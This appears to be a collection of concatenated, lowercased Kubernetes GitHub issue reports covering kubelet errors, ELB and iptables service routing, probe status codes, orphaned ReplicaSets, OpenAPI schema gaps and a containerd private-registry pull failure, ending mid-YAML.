ip-10-0-11-111.eu-west-1.compute.internal\  not found kubelet.go:2745  error updating node status, will retry: error getting node \ ip-10-0-11-111.eu-west-1.compute.internal\ : nodes \ ip-10-0-11-111.eu-west-1.compute.internal\  not found kubelet.go:2745  error updating node status, will retry: error getting node \ ip-10-0-11-111.eu-west-1.compute.internal\ : nodes \ ip-10-0-11-111.eu-west-1.compute.internal\  not found kubelet.go:2745  error updating node status, will retry: error getting node \ ip-10-0-11-111.eu-west-1.compute.internal\ : nodes \ ip-10-0-11-111.eu-west-1.compute.internal\  not found kubelet.go:1183  unable to update node status: update node status exceeds retry count      could be an aws issue, but this node is using the same iam role as the rest of the nodes and has been running for over 100 days without issue.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubelet-gce-e2e-ci/9510/  failed:  k8s.io  mirrorpod when create a mirror pod  should be recreated when mirror pod forcibly deleted {e2enode suite}      /var/lib/jenkins/workspace/kubelet-gce-e2e-ci/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/mirror_pod_test.go:54 timed out after 120.000s. expected     < errors.errorstring | 0xc82068f330>: {         s: \ expected the mirror pod \\\ static-pod-ebfeff8c-7efb-11e6-92cc-42010a800007-tmp-node-e2e-ade311c0-e2e-node-ubuntu-trusty-docker10-v1-image\\\  to be running, got \\\ pending\\\ \ ,     } to be nil /var/lib/jenkins/workspace/kubelet-gce-e2e-ci/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/mirror_pod_test.go:53      previous issues for this test:  28100

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :no    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : create,service  ---    is this a bug report or feature request?    choose one : feature request  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->  https://bugzilla.redhat.com/show_bug.cgi?id=1378011   kubernetes version    use  kubectl version  :    environment  : -   cloud provider or hardware configuration  : -   os    e.g. from /etc/os-release : -   kernel    e.g.  uname -a  : -   install tools  : -   others  :    what happened  :    what you expected to happen  :    how to reproduce it    as minimally and precisely as possible :    anything else do we need to know  :

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : elb aws iptables loadbalancer\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : 1.5.6\r \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : debian gnu/linux 8.6  jessie \r -   kernel    e.g.  uname -a  : 4.4.41-k8s\r -   install tools  : kops\r -   others  :\r \r \r   what happened  :\r the aws elb created as external loadbalancer for the service could not access the service port  in this case tcp port 80  on the k8s worker nodes due to missing iptables rules thus rendering the elb backends as \ outofservice\ . \r \r   what you expected to happen  :\r the service to be accessible from other nodes in the vpc external to the k8s cluster via the elb.\r \r   how to reproduce it    as minimally and precisely as possible :\r create deployment and service as shown below  the app simply returns the pod hostname :\r \r    \r ---\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: nodejs-app-deployment\r   namespace: default\r   labels:\r     app: nodejs-app\r spec:\r   strategy:\r     type: recreate\r   template:\r     metadata:\r       labels:\r         app: nodejs-app\r         tier: frontend\r     spec:\r       containers:\r       - name: nodejs-app\r         image: igoratencompass/nodejs-app:latest\r         ports:\r         - containerport: 8080\r           name: nodejs-app\r         resources:\r           limits:\r             cpu: \ 1\ \r             memory: 256mi\r           requests:\r             cpu: \ 1\ \r             memory: 64mi\r \r ---\r apiversion: v1\r kind: service\r metadata:\r   name: nodejs-app-svc\r   namespace: default\r   labels:\r     name: nodejs-app\r   annotations:\r     service.beta.kubernetes.io/aws-load-balancer-internal: 0.0.0.0/0\r spec:\r   type: loadbalancer\r   ports:\r     - port: 80\r       targetport: 8080\r       protocol: tcp\r   selector:\r       this needs to match the selector in the rc/deployment\r     app: nodejs-app\r \r ---\r apiversion: autoscaling/v1\r kind: horizontalpodautoscaler\r metadata:\r   name: nodejs-app-autoscaler\r   namespace: default\r spec:\r   scaletargetref:\r     apiversion: extensions/v1beta1\r     kind: deployment\r     name: nodejs-app-deployment\r   minreplicas: 1\r   maxreplicas: 6\r   targetcpuutilizationpercentage: 80\r    \r \r this should create an internal elb in the vpc k8s is running in with backend  http:80/health  health check point. the elb will show all the backends, the k8s worker nodes, as  outofservice .\r \r   anything else we need to know  :\r on the node where the nodejs-app container was running   10.99.7.148   i could see the elb health checks are failing:\r \r    \r 03:29:28.753228 ip 10.99.7.204.17280 > 10.99.7.148.80: flags  s , seq 3977567752, win 26883, options  mss 8961,sackok,ts val 22755710 ecr 0,nop,wscale 8 , length 0\r 03:29:28.753282 ip 10.99.7.148.80 > 10.99.7.204.17280: flags  r. , seq 0, ack 3977567753, win 0, length 0\r 03:29:29.068063 ip 10.99.6.168.58367 > 10.99.7.148.80: flags  s , seq 4082957956, win 26883, options  mss 8961,sackok,ts val 22756713 ecr 0,nop,wscale 8 , length 0\r 03:29:29.068122 ip 10.99.7.148.80 > 10.99.6.168.58367: flags  r. , seq 0, ack 4082957957, win 0, length 0\r 03:29:29.384023 ip 10.99.8.76.28018 > 10.99.7.148.80: flags  s , seq 2785866742, win 26883, options  mss 8961,sackok,ts val 22754944 ecr 0,nop,wscale 8 , length 0\r 03:29:29.384104 ip 10.99.7.148.80 > 10.99.8.76.28018: flags  r. , seq 0, ack 2785866743, win 0, length 0\r    \r \r and the tcpdump shows that the k8s node was resetting the connections. looking at the  iptables  rules on this node i could see the relevant rules in the  nat  table:\r \r    \r -a kube-services -d 100.65.223.12/32 -p tcp -m comment --comment \ default/nodejs-app-svc: cluster ip\  -m tcp --dport 80 -j kube-svc-j7gmv6s4aqu7tvtg\r \r -a kube-svc-j7gmv6s4aqu7tvtg -m comment --comment \ default/nodejs-app-svc:\  -j kube-sep-tgxqj6yfkhfu373d\r \r -a kube-nodeports -p tcp -m comment --comment \ default/nodejs-app-svc:\  -m tcp --dport 31154 -j kube-mark-masq\r -a kube-nodeports -p tcp -m comment --comment \ default/nodejs-app-svc:\  -m tcp --dport 31154 -j kube-svc-j7gmv6s4aqu7tvtg\r \r -a kube-sep-tgxqj6yfkhfu373d -s 100.104.0.9/32 -m comment --comment \ default/nodejs-app-svc:\  -j kube-mark-masq\r -a kube-sep-tgxqj6yfkhfu373d -p tcp -m comment --comment \ default/nodejs-app-svc:\  -m tcp -j dnat --to-destination 100.104.0.9:8080\r \r -n kube-mark-masq\r -a kube-mark-masq -j mark --set-xmark 0x4000/0x4000\r    \r \r so, there was a rule to accept traffic for the internal service vip address  100.65.223.12  on tcp port  80 :\r \r    \r -a kube-services -d 100.65.223.12/32 -p tcp -m comment --comment \ default/nodejs-app-svc: cluster ip\  -m tcp --dport 80 -j kube-svc-j7gmv6s4aqu7tvtg\r    \r \r and process it further down the chain so it ends up on the kube-proxy internal service port  31154  from where it would be sent to the local container's port  8080  and ip of  100.104.0.9  which is the node-js container/pod it self.\r \r so, after adding the following iptables rules on each of the three k8s nodes:\r \r    \r iptables -t nat -a kube-services -d 10.99.7.148/32 -p tcp -m comment --comment \ default/nodejs-app-svc: cluster ip\  -m tcp --dport 80 -j kube-svc-j7gmv6s4aqu7tvtg\r iptables -t nat -a kube-services -d 10.99.6.134/32 -p tcp -m comment --comment \ default/nodejs-app-svc: cluster ip\  -m tcp --dport 80 -j kube-svc-j7gmv6s4aqu7tvtg\r iptables -t nat -a kube-services -d 10.99.8.189/32 -p tcp -m comment --comment \ default/nodejs-app-svc: cluster ip\  -m tcp --dport 80 -j kube-svc-j7gmv6s4aqu7tvtg\r    \r \r i was able to confirm the health check probes from the elb were now successful for this node:\r \r    \r 03:45:28.753455 ip 10.99.7.204.17792 > 10.99.7.148.80: flags  p. , seq 3331596860:3331596975, ack 1068689986, win 126, options  nop,nop,ts val 22995710 ecr 65504549 , length 115: http: get /health http/1.1\r 03:45:28.754824 ip 10.99.7.148.80 > 10.99.7.204.17792: flags  p. , seq 1:169, ack 115, win 57, options  nop,nop,ts val 65512050 ecr 22995710 , length 168: http: http/1.1 200 ok\r 03:45:28.755194 ip 10.99.7.204.17792 > 10.99.7.148.80: flags  . , ack 169, win 131, options  nop,nop,ts val 22995710 ecr 65512050 , length 0\r 03:45:29.067369 ip 10.99.6.168.58895 > 10.99.7.148.80: flags  p. , seq 2737267215:2737267330, ack 1722668984, win 126, options  nop,nop,ts val 22996713 ecr 65504628 , length 115: http: get /health http/1.1\r 03:45:29.067718 ip 10.99.7.148.80 > 10.99.6.168.58895: flags  p. , seq 1:169, ack 115, win 57, options  nop,nop,ts val 65512128 ecr 22996713 , length 168: http: http/1.1 200 ok\r 03:45:29.068442 ip 10.99.6.168.58895 > 10.99.7.148.80: flags  . , ack 169, win 131, options  nop,nop,ts val 22996714 ecr 65512128 , length 0\r 03:45:29.384588 ip 10.99.8.76.28542 > 10.99.7.148.80: flags  p. , seq 2567996948:2567997063, ack 3710232123, win 126, options  nop,nop,ts val 22994944 ecr 65504707 , length 115: http: get /health http/1.1\r 03:45:29.384927 ip 10.99.7.148.80 > 10.99.8.76.28542: flags  p. , seq 1:169, ack 115, win 57, options  nop,nop,ts val 65512207 ecr 22994944 , length 168: http: http/1.1 200 ok\r 03:45:29.385657 ip 10.99.8.76.28542 > 10.99.7.148.80: flags  . , ack 169, win 131, options  nop,nop,ts val 22994945 ecr 65512207 , length 0\r    \r \r and it was put  inservice  on the elb.

is this a bug report or feature request?    choose one :\r bug report\r \r   kubernetes version    use  kubectl version  : v1.5.7\r \r \r   environment  :\r -   cloud provider or hardware configuration  : openstack\r -   os    e.g. from /etc/os-release : container linux by coreos 1353.7.0\r -   kernel    e.g.  uname -a  : 4.9.24-coreos\r -   install tools  :\r -   others  :\r \r \r   what happened  : when the api certificate   nova, keystone....  of openstack comes invalid  eg. expired, revoked  kubelet fail, and the node status are \ notready\ \r kubelet logs:\r \r may 08 13:46:37 kubernetes-development-master-1 kubelet 10978 : w0508 13:46:37.520984   10978 openstack_instances.go:75  failed to find compute flavors: get https://nova.br-xxx.xxx.xxx.xxx:8774/v2/40c28cc7a85b4dba9608ecc1bcdb5f06/flavors/detail: x509: certificate has expired or is not yet valid\r \r \r   what you expected to happen  :\r kubelet checks if the requested resource really needs to use openstack api.\r \r   how to reproduce it    as minimally and precisely as possible :\r put a invalid certificate on nova;\r try schedule a simple pod  who don't use openstack api \r \r   anything else we need to know  :\r \r

bug report:\r \r   kubernetes version  :\r    \r $ kc version\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.5\ , gitcommit:\ 5a0a696437ad35c133c0c8493f7e9d22b0f9b81b\ , gittreestate:\ clean\ , builddate:\ 2016-10-29t01:32:42z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os  : \r > $ cat /etc/redhat-release\r  centos linux release 7.3.1611  core  \r -   kernel    e.g.  uname -a  :\r > $ uname -a\r  linux ip-10-0-0-150.us-west-2.compute.internal 3.10.0-514.10.2.el7.x86_64  1 smp fri mar 3 00:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux \r -   install tools  :\r -   others  :\r \r   what happened  :\r from https://github.com/kubernetes/kubernetes/issues/24137 issuecomment-290721123\r \r i had a deployment with label a and i went ahead and tried to replace it by introducing a change to its yaml  basically changing it to use label b , the deployment object was replaced successfully but the old pod and the old replica set were still lingering.\r \r after i've deleted the deployment, a replicate set was still lingering there  which was no longer connected to a deployment, i.e., an orphan replicaset . \r \r   what you expected to happen  :\r \r i was expecting all pods and replica sets to be deleted after deleting the deployment.\r \r   how to reproduce it    as minimally and precisely as possible :\r basically we need a deployment, any sample deployment yaml that you can create with  kubectl create -f  which will naturally create its respective replicaset and pod  s   . the trick is to edit the yaml of the existing deployment and change its \ label\ . once the label is modified, run \ kubectl replace -f <yaml_file>\  and then check the result as follows.\r \r run \ kubectl get pods\ , you will see two pods in the list, there will be a new pod with the new label and the one with the old label lingers:\r    console\r $ kubectl get pod mytest-console-1569190182-b4xhs -o=json | grep -a1 -i label\r         \ labels\ : { \r             \ app\ : \ mytest-console\ , \r $ kubectl get pod mytest-console-3610439534-x6eaz -o=json | grep -a1 -i label\r         \ labels\ : { \r             \ app\ : \ mytest-job\ , \r $ kubectl get deployments | grep mytest\r mytest-console              1         1         1            1           8m\r $ kubectl get rs | grep mytest\r mytest-console-1569190182              1         1         1         8m\r mytest-console-3610439534              1         1         1         1m\r    \r  note that we have two replicasets here but only one deployment.\r    console\r $ kubectl delete deployment mytest-console\r deployment \ mytest-console\  deleted\r $ kubectl get rs | grep mytest\r mytest-console-1569190182              1         1         1         9m\r    \r even after deleting the deployment we can still see the replica set there, i.e., an orphan replicaset. \r \r   anything else we need to know  :\r \r

comments in replacekeys:\r - https://github.com/kubernetes/kubernetes/pull/44597 discussion_r118761893\r - https://github.com/kubernetes/kubernetes/pull/44597 discussion_r118767233\r - https://github.com/kubernetes/kubernetes/pull/44597 pullrequestreview-40597721\r \r comments in setelementorder:\r https://reviewable.kubernetes.io/reviews/kubernetes/kubernetes/45980 -klqrynxqa6fwpdclbeh\r https://reviewable.kubernetes.io/reviews/kubernetes/kubernetes/45980 -klqsahkxpoz_miufler\r https://reviewable.kubernetes.io/reviews/kubernetes/kubernetes/45980 -klqn7qlta-wkwh6q_an\r \r these comments are all about code style and refactoring.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. : no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : httpget\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t20:41:24z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:33:17z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release :  pretty_name=\ debian gnu/linux 8  jessie \  \r -   kernel    e.g.  uname -a  :  linux ip-10-44-40-175 4.4.65-k8s  1 smp tue may 2 15:48:24 utc 2017 x86_64 gnu/linux \r -   install tools  :  kops \r -   others  :\r \r \r   what happened  :\r a readiness probe getting a  302  error code causes the pod to be not be marked ready.\r a liveness probe getting a  302  error code causes the pod to be killed.\r \r   what you expected to happen  :\r as per the  documentation  https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-probes/ :\r > any code greater than or equal to 200 and less than 400 indicates success. any other code indicates failure.\r \r   how to reproduce it    as minimally and precisely as possible :\r create a deployment of an app that returns  302  http status code, rather than  200 .\r add a readiness probe. watch it fail to mark the pod as ready.\r add a liveness probe. watch it kill the pod.\r \r   anything else we need to know  :\r the expected behaviour is documented in at least two places, https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-probes/ and https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/\r

as part of the efforts to move kubectl out of the main repo, kubectl may not depend on the internal types in the main repo.\r we @kubernetes/sig-cli-maintainers want to come up with a plan for kubectl with the help from @kubernetes/sig-api-machinery-misc.\r \r paste some discussion in slack  sig-api-machinery channel.\r \r @deads2k:\r >given that  kubectl  wants to move itself out of tree, it can't use internal types for long.\r if that's the direction they want to go, internal types either have to go or have to be copied, so they'll want a plan\r it's a lot of work.  i'm still not convinced its good for us, but @lavalamp feels very strongly about it being the wave of the future.  you could try interfaces to abstract the difference out for the various versions, but its still a lot work for kubectl and every controller\r \r @lavalamp:\r > it's more that i want per-binary/source tree internal types. by definition, we don't provide any compatibility guarantees on the internal types  as that would destroy their intended function of letting us move fast without breaking wire format , so we can't put them in any public library like client-go.\r \r @bgrant0607 @thockin @lavalamp @smarterclayton @deads2k @liggitt \r @pwittrock @fabianofranz @monopole @adohe

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r  kubectl logs --selector='app=myapp' --tail=-1  returns 10 lines.\r \r   what you expected to happen  :\r \r  kubectl logs --selector='app=myapp' --tail=-1  should return all\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r use a selector that would output more than 10 lines of logs and do:\r  kubectl logs --selector='app=myapp' \r  kubectl logs --selector='app=myapp' --tail=-1 \r  kubectl logs --selector='app=myapp' --tail=0 \r \r   anything else we need to know?  :\r \r somewhat related to  35335\r \r   environment  :\r - kubernetes version  use  kubectl version  : server 1.5.2, client 1.6.3\r

is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r one of my kubeapi-load-balancer unit ran out of disk because the log file set up by the juju charm   /var/log/nginx.access.log   is not rotated.\r \r   what you expected to happen  :\r the log file should be rotated by default. you can make that happen easily if you log to  /var/log/nginx/ .log \r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. deploy a kubernetes cluster with juju.\r 1. connect to the kubeapi-load-balancer unit : the log file above is not rotated.\r \r \r   anything else we need to know?  :\r no\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t19:48:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t19:38:10z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration: openstack\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  : 4.4.0-78-generic\r - install tools: ?\r - others: ?\r

the definitions of the api resources in the openapi schema lack the  type: object  property. for example, the definition of the  persistentvolumespec  is this:\r    \r    \ io.k8s.api.core.v1.persistentvolumeclaimspec\ : {\r     \ description\ : \ persistentvolumeclaimspec describes the common attributes of storage devices and allows a source for provider-specific attributes\ ,\r     \ properties\ : { ...\r     }\r    },\r    \r note there's no  type: object  field.\r \r the definition of  persistentvolume  references  persistentvolumeclaimspec  like this:\r    \r      \ spec\ : {\r       \ description\ : \ spec defines a specification of a persistent volume owned by the cluster. provisioned by an administrator. more info: https://kubernetes.io/docs/concepts/storage/persistent-volumes persistent-volumes\ ,\r       \ $ref\ : \  /definitions/io.k8s.api.core.v1.persistentvolumespec\ \r      },\r    \r \r because there's no  type: object  constraint in the  persistentvolumeclaimspec  definition, the end effect is that the schema basically says that the following are valid pvcs  when they obviously aren't :\r    \r kind: persistentvolumeclaim\r metadata: ...\r spec: \ any string\ \r \r kind: persistentvolumeclaim\r metadata: ...\r spec: 5\r \r kind: persistentvolumeclaim\r metadata: ...\r spec:\r - anyobjecthere:\r     anyproperty: anyvalue\r - anyobjecthere:\r     anyproperty: anyvalue\r    \r \r for more information, see:\r - https://stackoverflow.com/questions/47374980/schema-object-without-a-type-attribute-in-swagger-2-0\r - https://github.com/oai/openapi-specification/issues/1388 issuecomment-339061316\r \r   is this a bug report or feature request?  :\r \r  \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.0.8556+d1e067be1f3065-dirty\ , gitcommit:\ d1e067be1f30654867769ae9dd9aaa2e30513c21\ , gittreestate:\ dirty\ , builddate:\ 2017-11-15t21:38:13z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:17:43z\ , goversion:\ go1.8.3\ , compiler:\ g\r

is this a bug report or feature request?  :\r >  \r   what happened  :\r using cpumanager/static policy, if kubelet restart, cpus assigned to container by cpumanager could differ from last time\r \r   what you expected to happen  :\r with cpumanager/static, cpus assigned to container should not change\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. start kubelet with --feature-gates=cpumanager=true \\ --cpu-manager-policy=static;\r 2. create pod, check assigned cpus\r 3. restart kubelet\r 4. check assigned cpus for the same pod, it diff from step 2\r \r   anything else we need to know?  :\r cpuset-cpus is in the container itself,  kubelet should be able to recover it during reconcile period \r \r   environment  :\r - kubernetes version  use  1.8.1  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  4.4.0-33.bm.1-amd64  :\r - install tools: custom\r - others:\r

there should be a way to specify a preferred output version for a given object when passing it to printers.\r \r cc @soltysh @deads2k

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r followed the guide at https://kubernetes.io/docs/tasks/configure-pod-container/pull-image-private-registry/ in order to pull an image from a private registry and this is the error i receive:\r \r > failed to pull image \ registry.example.com/my/app:latest\ : rpc error: code = unknown desc = failed to resolve image \ registry.example.com/my/app:latest\ : failed to fetch anonymous token: unexpected status: 403 forbidden\r \r   what you expected to happen  :\r \r the image should be pulled successfully.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r  kubectl create secret docker-registry regcred --docker-server=registry.example.com --docker-username=<username> --docker-password=<password> --docker-email=<email> \r \r pod spec used:\r \r    \r apiversion: v1\r kind: pod\r metadata:\r   name: private-reg\r spec:\r   containers:\r   - name: private-reg-container\r     image: registry.example.com/my/app:latest\r   imagepullsecrets:\r   - name: regcred\r    \r \r   anything else we need to know?  :\r \r i'm using containerd instead of docker and i can pull the image manually with both ctr and crictl\r \r    \r   ctr image pull --user <user> registry.example.com/my/app:latest\r password:\r registry.example.com/my/app:latest:                                                resolved       |++++++++++++++++++++++++++++++++++++++|\r manifest-sha256:a20dd775dedf90b958f91f599cf02c06772c1e07d913bf9c62e6e826376caf86: exists         |++++++++++++++++++++++++++++++++++++++|\r layer-sha256:adac4603423b99d0251a099b079cadc1868fc6c053e49cf6590604d6873c6a24:    exists         |++++++++++++++++++++++++++++++++++++++|\r ....\r    \r \r    \r   crictl pull --creds user:password registry.example.com/my/app:latest\r debu 0000  pullimagerequest: &pullimagerequest{image:&imagespec{image:registry.example.com/my/app:latest,},auth:&authconfig{username:user,password:password,auth:,serveraddress:,identitytoken:,registrytoken:,},sandboxconfig:nil,}\r debu 0027  pullimageresponse: &pullimageresponse{imageref:sha256:50cf30d47283a47b5612eb7b984cce298d7950af0a2c3b0dc83119e20090db60,}\r image is up to date for sha256:50cf30d47283a47b5612eb7b984cce298d7950af0a2c3b0dc83119e20090db60\r    \r \r    \r   containerd --version\r containerd github.com/containerd/containerd v1.1.1 d64c661f1d51c48782c9cec8fda7604785f93587\r    \r \r here are the kubelet logs when it attempts to pull the image\r \r    \r kubelet.go:1861  syncloop  add, \ api\  : \ private-reg_web b8ade9f1-85f7-11e8-9304-005056a6da01 \ \r reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ default-token-p2ccm\   uniquename: \ kubernetes.io/secret/b8ade9f1-85f7-11e8-9304-005056a6da01-default-token-p2ccm\   pod \ private-reg\   uid: \ b8ade9f1-85f7-11e8-9304-005056a6da01\  \r reconciler.go:252  operationexecutor.mountvolume started for volume \ default-token-p2ccm\   uniquename: \ kubernetes.io/secret/b8ade9f1-85f7-11e8-9304-005056a6da01-default-token-p2ccm\   pod \ private-reg\   uid: \ b8ade9f1-85f7-11e8-9304-005056a6da01\  \r operation_generator.go:557  mountvolume.setup succeeded for volume \ default-token-p2ccm\   uniquename: \ kubernetes.io/secret/b8ade9f1-85f7-11e8-9304-005056a6da01-default-token-p2ccm\   pod \ private-reg\   uid: \ b8ade9f1-85f7-11e8-9304-005056a6da01\  \r kuberuntime_manager.go:385  no sandbox for pod \ private-reg_web b8ade9f1-85f7-11e8-9304-005056a6da01 \  can be found. need to start a new one\r kubelet.go:1868  syncloop  update, \ api\  : \ private-reg_web b8ade9f1-85f7-11e8-9304-005056a6da01 \ \r remote_image.go:108  pullimage \ registry.example.com/my/app:latest\  from image service failed: rpc error: code = unknown desc = failed to resolve image \ registry.example.com/my/app:latest\ : failed to fetch anonymous token: unexpected status: 403 forbidden\r kuberuntime_image.go:51  pull image \ registry.example.com/my/app:latest\  failed: rpc error: code = unknown desc = failed to resolve image \ registry.example.com/my/app:latest\ : failed to fetch anonymous token: unexpected status: 403 forbidden\r kuberuntime_manager.go:733  container start failed: errimagepull: rpc error: code = unknown desc = failed to resolve image \ registry.example.com/my/app:latest\ : failed to fetch anonymous token: unexpected status: 403 forbidden\r pod_workers.go:186  error syncing pod b8ade9f1-85f7-11e8-9304-005056a6da01  \ private-reg_web b8ade9f1-85f7-11e8-9304-005056a6da01 \  , skipping: failed to \ startcontainer\  for \ private-reg-container\  with errimagepull: \ rpc error: code = unknown desc = failed to resolve image \\\ registry.example.com/my/app:latest\\\ : failed to fetch anonymous token: unexpected status: 403 forbidden\ \r kubelet.go:1906  syncloop  pleg : \ private-reg_web b8ade9f1-85f7-11e8-9304-005056a6da01 \ , event: &pleg.podlifecycleevent{id:\ b8ade9f1-85f7-11e8-9304-005056a6da01\ , type:\ containerstarted\ , data:\ 3c564fa72c7d503d7273e499f7a443907ffcb9ec2065f8aeb021e78fbcf746ca\ }\r kuberuntime_manager.go:513  container {name:private-reg-container image:registry.example.com/my/app:latest command:   args:   workingdir: ports:   envfrom:   env:   resources:{limits:map   requests:map  } volumemounts: {name:default-token-p2ccm readonly:true mountpath:/var/run/secrets/kubernetes.io/serviceaccount subpath: mountpropagation:<nil>}  volumedevices:   livenessprobe:nil readinessprobe:nil lifecycle:nil terminationmessagepath:/dev/termination-log terminationmessagepolicy:file imagepullpolicy:always securitycontext:nil stdin:false stdinonce:false tty:false} is dead, but restartpolicy says that we should restart it.\r pod_workers.go:186  error syncing pod b8ade9f1-85f7-11e8-9304-005056a6da01  \ private-reg_web b8ade9f1-85f7-11e8-9304-005056a6da01 \  , skipping: failed to \ startcontainer\  for \ private-reg-container\  with imagepullbackoff: \ back-off pulling image \\\ registry.example.com/my/app:latest\\\ \ \r kuberuntime_manager.go:513  container {name:private-reg-container image:registry.example.com/my/app:latest command:   args:   workingdir: ports:   envfrom:   env:   resources:{limits:map   requests:map  } volumemounts: {name:default-token-p2ccm readonly:true mountpath:/var/run/secrets/kubernetes.io/serviceaccount subpath: mountpropagation:<nil>}  volumedevices:   livenessprobe:nil readinessprobe:nil lifecycle:nil terminationmessagepath:/dev/termination-log terminationmessagepolicy:file imagepullpolicy:always securitycontext:nil stdin:false stdinonce:false tty:false} is dead, but restartpolicy says that we should restart it.\r pod_workers.go:186  error syncing pod b8ade9f1-85f7-11e8-9304-005056a6da01  \ private-reg_web b8ade9f1-85f7-11e8-9304-005056a6da01 \  , skipping: failed to \ startcontainer\  for \ private-reg-container\  with imagepullbackoff: \ back-off pulling image \\\ registry.example.com/my/app:latest\\\ \ \r    \r \r    \r $ kubectl get pods private-reg -o yaml\r apiversion: v1\r kind: pod\r metadata:\r   annotations:\r     